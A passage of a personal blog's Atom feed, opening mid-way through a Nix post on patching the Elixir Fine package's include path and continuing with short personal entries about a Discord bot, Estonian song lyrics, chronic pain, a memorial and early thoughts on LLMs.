&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;    &lt;span style=&quot;color: #89b4fa;&quot;&gt;sed&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;-i&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;s|@include_dir Path\.expand(\&amp;quot;c_include\&amp;quot;)|@include_dir \&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;$&amp;lbrace;&lt;/span&gt;prevAttrs&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;src&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;/c_include\&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;|&lt;/span&gt;&amp;quot; lib/fine.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;include&lt;/code&gt; was renamed to &lt;code&gt;c_include&lt;/code&gt; — the only reason &lt;code&gt;include&lt;/code&gt; was making it into Fine’s application directory was because that’s the directory name used by Erlang &lt;code&gt;.hrl&lt;/code&gt; files.&lt;/p&gt;
&lt;p&gt;How to solve this? We replace the call to &lt;code&gt;Path.expand/1&lt;/code&gt; with the path to the &lt;code&gt;c_include&lt;/code&gt; directory in the source!&lt;/p&gt;
&lt;p&gt;I really like &lt;em&gt;knowing&lt;/em&gt; this happened right. Let’s decompile the resulting &lt;code&gt;Elixir.Fine.beam&lt;/code&gt; file and pull &lt;code&gt;Fine.include_dir/0&lt;/code&gt;’s contents:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-iex&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;iex(1)&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #f2cdcd;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;Fine&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #f2cdcd;&quot;&gt;:abstract_code&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #f2cdcd;&quot;&gt;:raw_abstract_v1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;code&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;lt;-&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;               &lt;span style=&quot;color: #f9e2af;&quot;&gt;:beam_lib&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;chunks&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;~&lt;/span&gt;c&amp;quot;/nix/store/nx1bl8jzsg1ns6yfv237spxbd45n9jxs-fine-0.1.3/lib/erlang/lib/fine-0.1.3/ebin/Elixir.Fine.beam&amp;quot;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #f2cdcd;&quot;&gt;:abstract_code&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;             &lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #f2cdcd;&quot;&gt;:function&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;_&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f2cdcd;&quot;&gt;:include_dir&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;_&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;lt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;code&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f2cdcd;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;          &lt;span style=&quot;color: #f2cdcd;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #f2cdcd;&quot;&gt;:erl_prettypr&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;format&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;:erl_syntax&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;form_list&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;body&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #f2cdcd;&quot;&gt;ribbon: &lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;|&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #f9e2af; font-style: italic;&quot;&gt;IO&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;puts&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;/nix/store/d54xr3cssgmsj9kwkd04gzvx1jbi2pc3-fine-0.1.3/c_include&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #f2cdcd;&quot;&gt;:ok&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;iex(2)&amp;gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Looks good to me! One question that arises — will this include path definitely be present for all uses of the resulting derivation? It is of course in a different store path — we couldn’t create a store path that referred to itself, after all. I &lt;em&gt;think&lt;/em&gt; the answer is no — there’s nothing in the result derivation that tells Nix that the source must stick around.&lt;/p&gt;
&lt;p&gt;The answer is to also specify the source derivation in &lt;code&gt;propagatedNativeBuildInputs&lt;/code&gt;. What a mouthful. As a quick reviser, for a given derivation, the following definitions generally hold:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;buildInputs&lt;/code&gt; — dependencies that must exist in the runtime environment.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nativeBuildInputs&lt;/code&gt; — dependencies that must exist in the build environment.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;propagatedBuildInputs&lt;/code&gt; — dependencies that must exist in the runtime environment, and the runtime environment of any downstream user of this package.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;propagatedNativeBuildInputs&lt;/code&gt; — dependencies that must exist in the build environment, and the build environment of any downstream user of this package.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-nix&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;fine&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;prev&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;fine&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;overrideAttrs&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #eba0ac;&quot;&gt;prevAttrs&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;propagatedNativeBuildInputs&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;prevAttrs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;src&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;prePatch&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;    &lt;span style=&quot;color: #89b4fa;&quot;&gt;sed&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;-i&lt;/span&gt; &lt;span style=&quot;color: #eba0ac;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;s|@include_dir Path\.expand(\&amp;quot;c_include\&amp;quot;)|@include_dir \&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;$&amp;lbrace;&lt;/span&gt;prevAttrs&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;src&lt;/span&gt;&lt;span style=&quot;color: #f5c2e7;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;/c_include\&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;|&lt;/span&gt;&amp;quot; lib/fine.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The resulting derivation now has a file &lt;code&gt;nix-support/propagated-native-build-inputs&lt;/code&gt;, which lists the source derivation, matching the path compiled into &lt;code&gt;Elixir.Fine.beam&lt;/code&gt;. This should mean that any build that depends on &lt;code&gt;fine&lt;/code&gt; will be assured of the include directory’s existence at build-time. :)&lt;/p&gt;
&lt;p&gt;Maybe this’ll do!&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Fortune habits in Nix</title>
    <updated>2025-07-26T05:57:14Z</updated>
    <id>https://kivikakk.ee/2025/07/26/fortune-habits-in-nix</id>
    <link href="https://lottia.net/notes/0017-fortune-habits-in-nix.html" />

    <content type="html">Let&#39;s implement &quot;Using fortune to reinforce habits&quot; in Nix.</content>

  </entry>

  <entry>
    <title>psychological impact of chronic pain</title>
    <updated>2025-07-24T15:54:41Z</updated>
    <id>https://kivikakk.ee/2025/07/24/psychology-of-chronic-pain</id>
    <link href="https://kivikakk.ee/2025/07/24/psychology-of-chronic-pain" />

    <content type="html">&lt;p&gt;pain is the body’s way of signalling danger&lt;/p&gt;
&lt;p&gt;you are &lt;strong&gt;always&lt;/strong&gt; in danger&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>experimental</title>
    <updated>2025-07-23T05:16:24Z</updated>
    <id>https://kivikakk.ee/2025/07/23/experimental</id>
    <link href="https://kivikakk.ee/2025/07/23/experimental" />

    <content type="html">&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/experimental.png&quot; alt=&quot;Screenshot of a README excerpt: “Warning — Everything is experimental and may change significantly at any time.&quot; /&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>The first day of the rest of your life, etc.</title>
    <updated>2025-07-22T05:15:30Z</updated>
    <id>https://kivikakk.ee/2025/07/22/the-first-day-of-the-rest-of-your-life</id>
    <link href="https://kivikakk.ee/2025/07/22/the-first-day-of-the-rest-of-your-life" />

    <content type="html">&lt;p&gt;12 years today.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/firstday.png&quot; alt=&quot;Screenshot of a Tumblr post dated July 22, 2013, the blog titled “kivikakk”. The text in it is the same as the title of this post, and attached is a photo of a box of oestrogen, prescribed for “Ms Arlen C Cuss”.&quot; /&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>sanguichitos!</title>
    <updated>2025-07-16T11:02:17Z</updated>
    <id>https://kivikakk.ee/2025/07/16/sanguichitos</id>
    <link href="https://kivikakk.ee/2025/07/16/sanguichitos" />

    <content type="html">&lt;p&gt;I have a longer post about k8s cooking, but for now—&lt;/p&gt;
&lt;p&gt;An hour and a half ago, I found this to-do created around 2am this morning:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/sanguichitos.png&quot; alt=&quot;screenshot of a todo app open; there&amp;#39;s a lot of other text, but readable is &amp;quot;adc discord bot in elixir which subs twitter links for vxtwitter ...&amp;quot;, and that it was created at 1:42 am today&quot; width=&quot;400&quot;&gt;I decided that, as annoying as dealing with Discord and OAuth and all kinds of things is, if I can’t make this happen and have it deployed and managed within the same sit as thinking about it, I need to know that.&lt;/p&gt;
&lt;p&gt;The idea in that ellipsis isn’t a very new one: I look at Twitter and like to drop links to art I see there in Discord to my wife/puppygirl/bestie/whatever is going on between us that day. Twitter’s embeds aren’t very good; &lt;a href=&quot;https://vxtwitter.com&quot;&gt;vxtwitter.com&lt;/a&gt;/&lt;a href=&quot;https://fxtwitter.com&quot;&gt;fxtwitter.com&lt;/a&gt; make them better, and so I use them habitually by editing the links manually after pasting/before sending. Automate it with love.&lt;/p&gt;
&lt;p&gt;In 90 minutes, I have an &lt;a href=&quot;https://nossa.ee/~talya/chog&quot;&gt;Elixir app&lt;/a&gt;, &lt;a href=&quot;https://nossa.ee/~talya/chog/blob/main/5104b5903a4f3d2527a2b3a2b8adf9cc109e4652/nix/package.nix?k=89P1KAZfOOZysmlE_xvPgZjFSRz5q_U2EH_qJqqUd64%3D&quot;&gt;reproducibly built with Nix&lt;/a&gt;, &lt;a href=&quot;https://nossa.ee/~talya/chog/blob/main/5104b5903a4f3d2527a2b3a2b8adf9cc109e4652/nix/docker.nix?k=W8Zab_oSjCuSP7OtufmDXkQc7VRNJXtpRdE8qoG8exk%3D&quot;&gt;reproducibly OCI-packaged&lt;/a&gt;, and &lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/7e07bf7ffc43b61882a3396ba26395d4a0bff57b/flux/sources/chog/bundle.cue?k=YE_zBulj4qEETItUtblLYYATyTSWWwv3M6PBadANu_A%3D&quot;&gt;deployed into k8s&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;(The curious will find that secret created &lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/7e07bf7ffc43b61882a3396ba26395d4a0bff57b/hosts/kala.nix?k=0-mw0sPNxl4A1hIQjEB3pLWPC74ngmXiclqj1mywcI8%3D#L122-L124&quot;&gt;here&lt;/a&gt; — I bring up NixOS with any new secret definitions, vyx creating them via sops, before pushing/having Flux reconcile any new items referring to them.)&lt;/p&gt;
&lt;p&gt;It works really well! It’s the same setup for my blog these days (— can’t believe my blog is on k8s, but oh well —), and soon &lt;a href=&quot;https://nossa.ee&quot;&gt;nóssa&lt;/a&gt; too.&lt;/p&gt;
&lt;img src=&quot;https://s3.hrzn.ee/kvp/sanguichito2.png&quot; alt=&quot;screenshot of discord, showing a bot user named CHOG dropping an fxtwitter link&quot; width=&quot;400&quot;&gt;</content>

  </entry>

  <entry>
    <title>An-Marlen — kosmoselaeval</title>
    <updated>2025-07-15T03:32:07Z</updated>
    <id>https://kivikakk.ee/2025/07/15/kosmoselaeval</id>
    <link href="https://kivikakk.ee/2025/07/15/kosmoselaeval" />

    <content type="html">&lt;p&gt;First heard the &lt;a href=&quot;https://www.youtube.com/watch?v=YxKOthzXmno&quot;&gt;original&lt;/a&gt; in a TV ad for Elisa (&lt;a href=&quot;https://www.youtube.com/watch?v=zpy5-ot8Um8&quot;&gt;short example&lt;/a&gt;) — for Australian readers, that’s the equivalent of an Optus commercial. Her voice caught me and I had to search for ages to find it. Discovered this live rendition yesterday and it’s just the most beautiful thing ever.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube-nocookie.com/embed/dtDsucaJuB8&quot; title=&quot;embedded YouTube video player for an-marlen&#39;s kosmoselaeval&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;h3&gt;An-Marlen — on a spaceship&lt;/h3&gt;
&lt;p&gt;I don’t know what to feel without you&lt;br /&gt;
You and me together — that’s how it could be&lt;br /&gt;
Let me be in love up to my ears, flying in space&lt;br /&gt;
You and me together, that’s how it could be&lt;br /&gt;
Life is like a movie and I can’t get enough of you&lt;br /&gt;
And I can’t (get enough) of you&lt;/p&gt;
&lt;p&gt;Life is like a movie and I can’t get enough of you&lt;br /&gt;
Let me be in love up to my ears, flying in space&lt;br /&gt;
You and me together, that’s how it could be&lt;br /&gt;
Life is like a movie and I can’t get enough of you&lt;/p&gt;
&lt;p&gt;Maybe I need you&lt;br /&gt;
Every time I’m dancing among the stars&lt;br /&gt;
There you are&lt;br /&gt;
Let me be in love up to my ears, flying in space&lt;br /&gt;
You and me together, that’s how it could be&lt;br /&gt;
Life is like a movie and I can’t get enough of you&lt;/p&gt;
&lt;p&gt;If not for those red roses&lt;br /&gt;
And evenings by your side&lt;br /&gt;
My hand in yours&lt;br /&gt;
On your spaceship&lt;br /&gt;
If not for those red roses&lt;br /&gt;
And evenings by your side&lt;br /&gt;
My hand in yours&lt;br /&gt;
On your spaceship&lt;br /&gt;
And I can’t (get enough) of you&lt;br /&gt;
And I can’t (get enough) of you&lt;/p&gt;
&lt;p&gt;Life is like a movie and I can’t get enough of you&lt;br /&gt;
Let me be in love up to my ears, flying in space&lt;br /&gt;
You and me together, that’s how it could be&lt;br /&gt;
Life is like a movie and I can’t get enough of you&lt;br /&gt;
Life is like a movie and I can’t (get enough) of you&lt;br /&gt;
Life is like a movie and I can’t (get enough) of you&lt;br /&gt;
Life is like a movie and I can’t (get enough) of you&lt;br /&gt;
I don’t know what to feel without you&lt;br /&gt;
You and me together — that’s how it could be&lt;/p&gt;
&lt;h3&gt;An-Marlen — kosmoselaeval&lt;/h3&gt;
&lt;p&gt;Ma ei tea, mida sinuta tunda&lt;br /&gt;
Sa ja ma koos, nii võikski ju olla&lt;br /&gt;
Las olen kõrvuni armun’d, kosmoses lendan&lt;br /&gt;
Sa ja ma koos, nii võikski ju olla&lt;br /&gt;
Elu nagu filmis ja ma sinust ei saa küllalt&lt;br /&gt;
Ja ma sinust ei saa&lt;/p&gt;
&lt;p&gt;Elu nagu filmis ja ma sinust ei saa küllalt&lt;br /&gt;
Las olen kõrvuni armun’d, kosmoses lendan&lt;br /&gt;
Sa ja ma koos, nii võikski ju olla&lt;br /&gt;
Elu nagu filmis ja ma sinust ei saa küllalt&lt;/p&gt;
&lt;p&gt;Võib-olla vajangi sind&lt;br /&gt;
Iga kord kui tantsin tähtede keskel&lt;br /&gt;
Sa oled seal&lt;br /&gt;
Las olen kõrvuni armun’d, kosmoses lendan&lt;br /&gt;
Sa ja ma koos, nii võikski ju olla&lt;br /&gt;
Elu nagu filmis ja ma sinust ei saa küllalt&lt;/p&gt;
&lt;p&gt;Kui poleks neid punaseid roose&lt;br /&gt;
Ja õhtuid su kõrval&lt;br /&gt;
Minu käsi su käes&lt;br /&gt;
Sinu kosmoselaeval&lt;br /&gt;
Kui poleks neid punaseid roose&lt;br /&gt;
Ja õhtuid su kõrval&lt;br /&gt;
Minu käsi su käes&lt;br /&gt;
Sinu kosmoselaeval&lt;br /&gt;
Ja ma sinust ei saa&lt;br /&gt;
Ja ma sinust ei saa&lt;/p&gt;
&lt;p&gt;Elu nagu filmis ja ma sinust ei saa küllalt&lt;br /&gt;
Las olen kõrvuni armun’d, kosmoses lendan&lt;br /&gt;
Sa ja ma koos, nii võikski ju olla&lt;br /&gt;
Elu nagu filmis ja ma sinust ei saa küllalt&lt;br /&gt;
Elu nagu filmis ja ma sinust ei saa&lt;br /&gt;
Elu nagu filmis ja ma sinust ei saa&lt;br /&gt;
Elu nagu filmis ja ma sinust ei saa&lt;br /&gt;
Ma ei tea, mida sinuta tunda&lt;br /&gt;
Sa ja maa koos, nii võikski ju olla&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>great wars of our time</title>
    <updated>2025-07-13T11:00:07Z</updated>
    <id>https://kivikakk.ee/2025/07/13/great-wars-of-our-time</id>
    <link href="https://kivikakk.ee/2025/07/13/great-wars-of-our-time" />

    <content type="html">&lt;ul&gt;
&lt;li&gt;X11 vs Wayland&lt;/li&gt;
&lt;li&gt;Rust in Linux&lt;/li&gt;
&lt;li&gt;LLMs are/can (not) x&lt;/li&gt;
&lt;li&gt;Whether trans people are subhuman or not&lt;/li&gt;
&lt;li&gt;Whether something may or may not properly be called a “renderer”&lt;/li&gt;
&lt;li&gt;Copyleft is stupid, irrelevant and self-defeating/you’re aiding arms dealers if you use BSD/MIT&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;: More as I think of them.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;systemd vs OpenRC&lt;/li&gt;
&lt;li&gt;your mom vs my mom&lt;/li&gt;
&lt;/ul&gt;</content>

  </entry>

  <entry>
    <title>kat</title>
    <updated>2025-07-12T08:25:08Z</updated>
    <id>https://kivikakk.ee/2025/07/12/kat</id>
    <link href="https://kivikakk.ee/2025/07/12/kat" />

    <content type="html">&lt;p&gt;Today marks 20 years since Kat de Koning’s suicide.&lt;/p&gt;
&lt;p&gt;Missing you.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>unedited thoughts about LLMs</title>
    <updated>2025-07-08T09:49:36Z</updated>
    <id>https://kivikakk.ee/2025/07/08/unedited-thoughts-about-llms</id>
    <link href="https://kivikakk.ee/2025/07/08/unedited-thoughts-about-llms" />

    <content type="html">&lt;p&gt;Imagining that LLM assistants will help with what is essentially an &lt;a href=&quot;https://ratfactor.com/papers/naur1&quot;&gt;exercise in theory-building&lt;/a&gt; seems deeply mistaken.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Creating stable and maintainable software requires knowing the properties of the environments in intimate clarity (envs e.g.: Elixir, the web, AWS as a whole, HTTP in particular, whatever domains you cross), and having a clear theory of the software under development: as a whole, working project; as an implementation of ideas in a certain language or framework or otherwise; as an artefact being worked on over time (vis-à-vis version control, project management, etc.); and so forth with different lenses.&lt;/li&gt;
&lt;li&gt;LLMs can help with none of these, and actively hinder several aspects.&lt;/li&gt;
